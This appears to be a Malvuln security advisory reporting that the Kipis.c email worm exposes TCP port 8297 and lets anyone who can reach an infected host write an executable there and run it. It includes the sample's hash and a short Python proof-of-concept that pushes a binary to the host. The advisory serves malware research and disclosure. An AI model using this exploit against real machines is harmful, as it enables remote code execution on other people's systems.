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Email-Worm.Win32.Kipis.c MVID-2022-0652 File Write / Code Execution

🗓️ 24 Oct 2022 00:00:00Reported by malvuln, malvuln.comType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 285 Views

Malware listens on TCP port 8297 for remote file write code execution. Vulnerability allows adversaries to write executable code to "winlogins.exe" in SysWOW64 directory

Code
`Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022  
Original source: https://malvuln.com/advisory/8d0df60c96e4011c312d61ed3e6dc70e.txt  
Contact: [email protected]  
Media: twitter.com/malvuln  
  
Threat: Email-Worm.Win32.Kipis.c  
Vulnerability: Remote File Write Code Execution  
Description: The malware listens on TCP port 8297. Third-party adversaries who can reach the infected host can write executable code to a file named "winlogins.exe" in SysWOW64 directory. The program will execute as soon as the binary transfer has completed. Successfully tested with a 880 byte executable.  
Family: Kipis  
Type: PE32  
MD5: 8d0df60c96e4011c312d61ed3e6dc70e  
Vuln ID: MVID-2022-0652  
Dropped files: jpdrop.jpg  
Disclosure: 10/23/2022  
  
Exploit/PoC:  
from socket import *  
import time  
  
MALWARE_HOST="x.x.x.x"  
PORT=8297  
DOOM="DOOM_SM.exe"  
  
def doit():  
s=socket(AF_INET, SOCK_STREAM)  
s.connect((MALWARE_HOST, PORT))  
  
f = open(DOOM, "rb")  
EXE = f.read()  
s.send(EXE)  
  
while EXE:  
s.send(EXE)  
EXE=f.read()  
time.sleep(0.5)  
  
s.close()  
  
print("By Malvuln");  
  
if __name__=="__main__":  
doit()  
  
  
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).  
`

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